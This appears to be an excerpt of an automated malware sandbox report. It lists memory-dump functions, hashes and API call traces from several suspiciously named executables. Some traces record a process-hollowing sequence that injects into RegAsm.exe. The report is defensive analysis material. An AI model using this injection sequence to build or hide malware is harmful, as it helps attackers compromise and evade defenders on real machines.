Snapshot File: hcaresult_14_2_f40000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d4d2486da694ca92bc80e8fb19600eff3fd09949ab6c303533000d49fd961f27
Instruction ID: 5df908492cb3fb4261f44a1309e96fa1b16da0399b2290ae8054a63d0ecdc513
Opcode Fuzzy Hash: d4d2486da694ca92bc80e8fb19600eff3fd09949ab6c303533000d49fd961f27
Instruction Fuzzy Hash: C74100B4D003589FDB14CFA9D885B9DBBF1FB09314F10912AE814AB394D7789845CF81

Function 05566AD8 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05566B8A

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2f9f735ac1e0ddc99d53c9741839975e64134b2a3c94b760ea09323b79a29e0f
Instruction ID: 23eac1c2e8a593612922fae604b6ea58e2ee29342143a356f71351fba55a8b52
Opcode Fuzzy Hash: 2f9f735ac1e0ddc99d53c9741839975e64134b2a3c94b760ea09323b79a29e0f
Instruction Fuzzy Hash: C03197B8D00258DFCF10CFA9D981A9EBBB1FB49310F10942AE815B7250D735A942CF94

Function 05566AE0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05566B8A

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8d36fc6590423e92167a0345c6a67dfe6e7248810d6f33f712de25cbb6b349b4
Instruction ID: fd3c5b95dac3cc3dd0891d3121b07c225552fde240642c98907edeada81cdec1
Opcode Fuzzy Hash: 8d36fc6590423e92167a0345c6a67dfe6e7248810d6f33f712de25cbb6b349b4
Instruction Fuzzy Hash: 243187B8D00258DFCF10CFA9D980A9EFBB1FB49310F10A42AE815B7210D735A902CF68

Function 055669B0 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05566A67

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 036e5607cda4dde98e940b353295c661fea21591d6a1416bada7d6a83daf43f5
Instruction ID: 0a80a24786c621c051f0d30c4e4caa58b39d33b92376f19ed87fb0f4f47fceac
Opcode Fuzzy Hash: 036e5607cda4dde98e940b353295c661fea21591d6a1416bada7d6a83daf43f5
Instruction Fuzzy Hash: F941ABB5D01258DFDB10DFAAD885AEEBFF1BB49310F24802AE419B7240C738A945CF94

Function 055669B8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05566A67

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 59e5de9f58bd0777598871671d82bbf89e823bb6438622a9c72bab0a43a17c18
Instruction ID: be133f7b5c2ad288990fb28bad0f759a2ba70f14d946008324c7fe35936cb313
Opcode Fuzzy Hash: 59e5de9f58bd0777598871671d82bbf89e823bb6438622a9c72bab0a43a17c18
Instruction Fuzzy Hash: E731BBB4D01258DFDB10DFAAD884AEEFBF1BB49310F24802AE419B7240C738A945CF94

Function 00F4D9E8 Relevance: 1.6, APIs: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00F4DA8F

Memory Dump Source

Source File: 0000000E.00000002.1598792848.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f40000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fd4b2b472ba4722fa0c96ea177437227eeea5ddc9b04a215108744d667424e79
Instruction ID: 3f3e3d4b0cc2bf3f9346a5c57b283a0e21c1865b128e32c30e9616e90664bc4f
Opcode Fuzzy Hash: fd4b2b472ba4722fa0c96ea177437227eeea5ddc9b04a215108744d667424e79
Instruction Fuzzy Hash: DD3177B9D042589FCB10CFA9D980ADEFBB1BB09310F24A02AE818B7310D775A945CF64

Function 055668C0 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05566946

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 06fc2fd2f573d93cc5375ec30c413db38ec79bb4c4e2833005f5c62e6092ff5d
Instruction ID: 01c213a0fc6010f1572a39e3017c1d93f8e2a49d2951e7b73c843dee505a4d86
Opcode Fuzzy Hash: 06fc2fd2f573d93cc5375ec30c413db38ec79bb4c4e2833005f5c62e6092ff5d
Instruction Fuzzy Hash: B531BAB4D012589FCB14CFA9D885A9EFBB5FB49320F14942AE815B7350CB35A801CF94

Function 055668C8 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05566946

Memory Dump Source

Source File: 0000000E.00000002.1799762467.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5560000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 232dc51c3abf506b08885a6e8be6e79c2908a63a98b54631d32fbddf28635c89
Instruction ID: 73831339a73a6f8836d374398c70143ea3c5121ca436a4953664e06a53cb87e4
Opcode Fuzzy Hash: 232dc51c3abf506b08885a6e8be6e79c2908a63a98b54631d32fbddf28635c89
Instruction Fuzzy Hash: 7931AAB4D012589FCB14CFAAD981A9EFBB5FB49320F14942AE815B7350CB35A901CFA4

Function 00F4EDE8 Relevance: 1.3, APIs: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 00F4EE89

Memory Dump Source

Source File: 0000000E.00000002.1598792848.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f40000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b95909d3425888ce7929a6a179ae2fd98383968ef4c554474d878775eeb96c8
Instruction ID: c4b1474ad3860c36dc8a3f418b24c2ce0dfff8119a35a75f53ab57731cd60aeb
Opcode Fuzzy Hash: 9b95909d3425888ce7929a6a179ae2fd98383968ef4c554474d878775eeb96c8
Instruction Fuzzy Hash: 393155B9D002589FCB10CFA9D984A9EFBB5FB09310F20902AE819B7310D775A946CF65

Function 00E9D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1598325532.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e9d000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82fb112cf519de40f643a421288222361b748240b301801270e0c40f5fcffb53
Instruction ID: 0458bdc2197cba9263a0557a165037c10d6e5c46ebb80c52ec934a5eaf9cb37b
Opcode Fuzzy Hash: 82fb112cf519de40f643a421288222361b748240b301801270e0c40f5fcffb53
Instruction Fuzzy Hash: 0E21D075608244DFDF15DF14DDC4B26BBA6EB84324F24C569E9091B246C336D84BCAA2

Function 00E9D005 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1598325532.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_e9d000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903bb238509dc749fa52971e5509ed2e9f743dacc8687f4fb9cbe5ce0d7b608c
Instruction ID: 543ea838ce70a85a8bad716e572062a3de0b59efea0d2f32bb0e9ba137412c2d
Opcode Fuzzy Hash: 903bb238509dc749fa52971e5509ed2e9f743dacc8687f4fb9cbe5ce0d7b608c
Instruction Fuzzy Hash: 7D21C27550D3C08FCB02CF24D994716BF72EB86314F2981EAD8448B693C33AD80ACB62

Non-executed Functions

Function 00F4DEC8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1598792848.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f40000_jAdtQht6EyohpXB8jxj0sYtp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c995cd3c3e09db5042848daaa95ad3ad50a08757fa1c55e38d829d8ac27bff27
Instruction ID: 42d5df137915f7fc81a6eeffd819e6dfc6bdf827922715468427581983aa553c
Opcode Fuzzy Hash: c995cd3c3e09db5042848daaa95ad3ad50a08757fa1c55e38d829d8ac27bff27
Instruction Fuzzy Hash: E941CEB4D003489FDB24CFA9D985B9DBFF1BB09310F249029E815AB354D7789885CF85

Analysis Process: WxZ3BbtftdHbX6Ud8IQWTcja.exePID: 2196, Parent PID: 2724COMMON

Execution Graph

Execution Coverage:	38.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 030121B9 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0301212B,0301211B), ref: 03012328
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0301233B
Wow64GetThreadContext.KERNEL32(000003D8,00000000), ref: 03012359
ReadProcessMemory.KERNELBASE(000003D4,?,0301216F,00000004,00000000), ref: 0301237D
VirtualAllocEx.KERNELBASE(000003D4,?,?,00003000,00000040), ref: 030123A8
TerminateProcess.KERNELBASE(000003D4,00000000), ref: 030123C7
WriteProcessMemory.KERNELBASE(000003D4,00000000,?,?,00000000,?), ref: 03012400
WriteProcessMemory.KERNELBASE(000003D4,00400000,?,?,00000000,?,00000028), ref: 0301244B
WriteProcessMemory.KERNELBASE(000003D4,?,?,00000004,00000000), ref: 03012489
Wow64SetThreadContext.KERNEL32(000003D8,05C50000), ref: 030124C5
ResumeThread.KERNELBASE(000003D8), ref: 030124D4

Strings

VirtualAllocEx, xrefs: 030122B9
aryA, xrefs: 030121FF
ress, xrefs: 03012243
ReadProcessMemory, xrefs: 030122A6
SetThreadContext, xrefs: 030122DF
WriteProcessMemory, xrefs: 030122CC
ResumeThread, xrefs: 030122F5
Load, xrefs: 030121F7
GetThreadContext, xrefs: 03012293
GetP, xrefs: 0301223B
CreateProcessA, xrefs: 0301226D
VirtualAlloc, xrefs: 03012280
TerminateProcess, xrefs: 030123B7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 03012327

Memory Dump Source

Source File: 0000000F.00000002.1608720543.0000000003012000.00000040.00000800.00020000.00000000.sdmp, Offset: 03012000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3012000_WxZ3BbtftdHbX6Ud8IQWTcja.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: bc0142e91830dc360d9b3c6fa69eeef2ab8aeabbcabc2f6297a69d43489aa447
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 8EB1E77260124AAFDB60CF68CC80BDA77A9FF8C714F158564EA0CAB341D774FA518B94

Function 02F20B90 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 298
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04013590,?,?,?,?,?,?,?,04013590,?,?,02F20A21,?,00000040), ref: 02F20F31

Strings

h&d#, xrefs: 02F20EDA

Memory Dump Source

Source File: 0000000F.00000002.1601042034.0000000002F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f20000_WxZ3BbtftdHbX6Ud8IQWTcja.jbxd

Similarity

API ID: ProtectVirtual
String ID: h&d#
API String ID: 544645111-1088480627
Opcode ID: 0e3d457e4618d8b6adee90665986f39919c82dc049a3fc795893c67de814586c
Instruction ID: 52a8fdeae2464f724a193fc61cc7ea9318b17389f01747cf40ec8b42eab0b35c
Opcode Fuzzy Hash: 0e3d457e4618d8b6adee90665986f39919c82dc049a3fc795893c67de814586c
Instruction Fuzzy Hash: 48C1AC71E142689FCB01CBA8C880BEDFBF2BF49314F2485A9D554EB245C734AD85CBA4

Function 02F204F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(04013590,?,?,?,?,?,?,?,04013590,?,?,02F20A21,?,00000040), ref: 02F20F31

Strings

h&d#, xrefs: 02F20EDA

Memory Dump Source

Source File: 0000000F.00000002.1601042034.0000000002F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f20000_WxZ3BbtftdHbX6Ud8IQWTcja.jbxd

Similarity

API ID: ProtectVirtual
String ID: h&d#
API String ID: 544645111-1088480627
Opcode ID: 2c561fbcc6f672074c58cce6140f0167e37dca7671fbabf007f5948307f0f309
Instruction ID: 6154e88e982d63f99bb33044bb1e1ef626d5db2d92eec70efdb3e116c6ac4fb8
Opcode Fuzzy Hash: 2c561fbcc6f672074c58cce6140f0167e37dca7671fbabf007f5948307f0f309
Instruction Fuzzy Hash: CA21F4B5D1125DAFCB10DF9AC884ADEFBB4FB49310F10812AE918A7340C7746954CFA1

Function 0121D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1540184868.000000000121D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0121D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_121d000_WxZ3BbtftdHbX6Ud8IQWTcja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83235c7d35446f29ae3342daccc3d64019d37a374f269104e6d599a3ab470bbf
Instruction ID: 8f1a4337402450fee8ad6e507051039e1f6dcd750ee5e6e27b63839889757b36
Opcode Fuzzy Hash: 83235c7d35446f29ae3342daccc3d64019d37a374f269104e6d599a3ab470bbf
Instruction Fuzzy Hash: 9901FC31514308DFE7208A55CCC8B57BFD8DF51365F14C459EE480B186C2759845CAB1

Function 0121D01C Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.1540184868.000000000121D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0121D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_121d000_WxZ3BbtftdHbX6Ud8IQWTcja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35c599207441a3d343d5f42ad9ec4c715e3eb538733800178c12346819edea41
Instruction ID: 99c57820636690b205c22215fa2322d9e8c75d9631ed6e2b6ebccd978c05dbb1
Opcode Fuzzy Hash: 35c599207441a3d343d5f42ad9ec4c715e3eb538733800178c12346819edea41
Instruction Fuzzy Hash: 3BF0C271444344AEE7208A19C8C8B62FFD8EB51374F18C55AEE484A287C2799845CAB1

Analysis Process: oLvXEE2e9pIf4hDzNZ63ennK.exePID: 1168, Parent PID: 2724COMMON

Execution Graph

Execution Coverage:	34.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02FA21B9 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02FA212B,02FA211B), ref: 02FA2328
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02FA233B
Wow64GetThreadContext.KERNEL32(000003AC,00000000), ref: 02FA2359
ReadProcessMemory.KERNELBASE(000003A8,?,02FA216F,00000004,00000000), ref: 02FA237D
VirtualAllocEx.KERNELBASE(000003A8,?,?,00003000,00000040), ref: 02FA23A8
TerminateProcess.KERNELBASE(000003A8,00000000), ref: 02FA23C7
WriteProcessMemory.KERNELBASE(000003A8,00000000,?,?,00000000,?), ref: 02FA2400
WriteProcessMemory.KERNELBASE(000003A8,00400000,?,?,00000000,?,00000028), ref: 02FA244B
WriteProcessMemory.KERNELBASE(000003A8,?,?,00000004,00000000), ref: 02FA2489
Wow64SetThreadContext.KERNEL32(000003AC,02E80000), ref: 02FA24C5
ResumeThread.KERNELBASE(000003AC), ref: 02FA24D4

Strings

GetThreadContext, xrefs: 02FA2293
VirtualAlloc, xrefs: 02FA2280
VirtualAllocEx, xrefs: 02FA22B9
WriteProcessMemory, xrefs: 02FA22CC
Load, xrefs: 02FA21F7
GetP, xrefs: 02FA223B
TerminateProcess, xrefs: 02FA23B7
CreateProcessA, xrefs: 02FA226D
ResumeThread, xrefs: 02FA22F5
ReadProcessMemory, xrefs: 02FA22A6
ress, xrefs: 02FA2243
aryA, xrefs: 02FA21FF
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02FA2327
SetThreadContext, xrefs: 02FA22DF

Memory Dump Source

Source File: 00000010.00000002.1644331525.0000000002FA2000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2fa2000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: d0f944b6f6b7081a972d7864362bbfd22ed04fe0b406e38eb37690feb3260369
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 34B1E57260028AAFDB60CF68CC80BDA77A5FF88714F158124EA0CAB341D774FA51CB94

Function 02D50B90 Relevance: 1.8, APIs: 1, Instructions: 298
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03FA3590,02FA2504,?,?,?,?,?,?,03FA3590,?,?,02D50A21,?,00000040), ref: 02D50F31

Memory Dump Source

Source File: 00000010.00000002.1610331572.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2d50000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7fbc725b768192431797bdf9aaed08d74dbbd1aab6028af737a71db6f8a933b8
Instruction ID: b90f67ef303092703aadbb128dde9bc5d0d24befa088ca93f001259381839fbb
Opcode Fuzzy Hash: 7fbc725b768192431797bdf9aaed08d74dbbd1aab6028af737a71db6f8a933b8
Instruction Fuzzy Hash: 3BC15970A142689FCB01CFA9C880AEDFBF2AF4C315F688655D858A7345C7B5AD41CBA4

Function 02FA24DC Relevance: 3.1, APIs: 2, Instructions: 115
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(000003AC,02E80000), ref: 02FA24C5
ResumeThread.KERNELBASE(000003AC), ref: 02FA24D4

Memory Dump Source

Source File: 00000010.00000002.1644331525.0000000002FA2000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FA2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2fa2000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID: Thread$ContextResumeWow64
String ID:
API String ID: 1826235168-0
Opcode ID: f9c39779777b794b06d3cd04a3c6650a10778df6fc52811071ffe97da2cd1f55
Instruction ID: be818c40dbd4b7dbc9c016e9faf38f740bc90f6e34f8f08de69bc7e69954661e
Opcode Fuzzy Hash: f9c39779777b794b06d3cd04a3c6650a10778df6fc52811071ffe97da2cd1f55
Instruction Fuzzy Hash: 2831DFA690E3C45FC7238B748CB12943FB4AE17220B1A02D3C9C4CF1B3E129590AC762

Function 02D504F0 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03FA3590,02FA2504,?,?,?,?,?,?,03FA3590,?,?,02D50A21,?,00000040), ref: 02D50F31

Memory Dump Source

Source File: 00000010.00000002.1610331572.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2d50000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: da1ed183eaefd409aabe3fbdb350abcde4642f865b0cee58ca6f288b480e53ff
Instruction ID: 4d0928335663167d119750954789011dfeb10990e5062fa523ab9832192aa28d
Opcode Fuzzy Hash: da1ed183eaefd409aabe3fbdb350abcde4642f865b0cee58ca6f288b480e53ff
Instruction Fuzzy Hash: 6E21F2B5D0125DAFCB10DF9AD884ADEFBB4FB08310F10812AE918A7340C3B4A954CFA1

Function 014CD01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.1600223195.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_14cd000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee3337b566cfe9883536be4d44519672bb42d4d7458e1935a5b75604c91641c
Instruction ID: e3be7b2f59f98a770bcf99398a350952044e80031c7f37f8a4abb7ae054cf156
Opcode Fuzzy Hash: 5ee3337b566cfe9883536be4d44519672bb42d4d7458e1935a5b75604c91641c
Instruction Fuzzy Hash: 8201F7B58043409AE7604A5ACCC4B67BF98DF41AA9F08C07FED480B293C2799846CAF1

Function 014CD006 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.1600223195.00000000014CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_14cd000_oLvXEE2e9pIf4hDzNZ63ennK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653529d622861bb33e709eed88eb59aa6ea960ca405973007700f9efecacae9f
Instruction ID: 2159115ed96e055c3773e8de56960b28070307ed0a863c5060386499c96ea0eb
Opcode Fuzzy Hash: 653529d622861bb33e709eed88eb59aa6ea960ca405973007700f9efecacae9f
Instruction Fuzzy Hash: 2E01407140D3C09FD7528B258C94B52BFB4DF43624F1981DBD9888F2A7C2795848C7B2

Analysis Process: Wzy1vqDHala63jbsaIZzYTRV.exePID: 1252, Parent PID: 2724COMMON

Execution Graph

Execution Coverage:	36%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02D021B9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D0212B,02D0211B), ref: 02D02328
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D0233B
Wow64GetThreadContext.KERNEL32(000003A0,00000000), ref: 02D02359
ReadProcessMemory.KERNELBASE(000003A4,?,02D0216F,00000004,00000000), ref: 02D0237D
VirtualAllocEx.KERNELBASE(000003A4,?,?,00003000,00000040), ref: 02D023A8
WriteProcessMemory.KERNELBASE(000003A4,00000000,?,?,00000000,?), ref: 02D02400
WriteProcessMemory.KERNELBASE(000003A4,00400000,?,?,00000000,?,00000028), ref: 02D0244B
WriteProcessMemory.KERNELBASE(000003A4,?,?,00000004,00000000), ref: 02D02489
Wow64SetThreadContext.KERNEL32(000003A0,01430000), ref: 02D024C5
ResumeThread.KERNELBASE(000003A0), ref: 02D024D4

Strings

VirtualAllocEx, xrefs: 02D022B9
aryA, xrefs: 02D021FF
VirtualAlloc, xrefs: 02D02280
TerminateProcess, xrefs: 02D023B7
ress, xrefs: 02D02243
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02D02327
WriteProcessMemory, xrefs: 02D022CC
GetP, xrefs: 02D0223B
CreateProcessA, xrefs: 02D0226D
GetThreadContext, xrefs: 02D02293
ReadProcessMemory, xrefs: 02D022A6
SetThreadContext, xrefs: 02D022DF
Load, xrefs: 02D021F7
ResumeThread, xrefs: 02D022F5

Memory Dump Source

Source File: 00000011.00000002.1610441763.0000000002D02000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2d02000_Wzy1vqDHala63jbsaIZzYTRV.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: af114d57ff89a91655121797b80286478cfe0021a7c1acf4ca76c12f5ed832c6
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 50B1E57260128AAFDB60CF68CC80BDA77A5FF88714F158124EA0CAB351D774FA51CB94

Function 011D0B90 Relevance: 1.8, APIs: 1, Instructions: 293
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03D03590,?,?,?,?,?,?,?,03D03590,?,?,011D0A21,?,00000040), ref: 011D0F31

Memory Dump Source

Source File: 00000011.00000002.1605704324.00000000011D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011D0000, based on PE: false

Joe Sandbox IDA Plugin

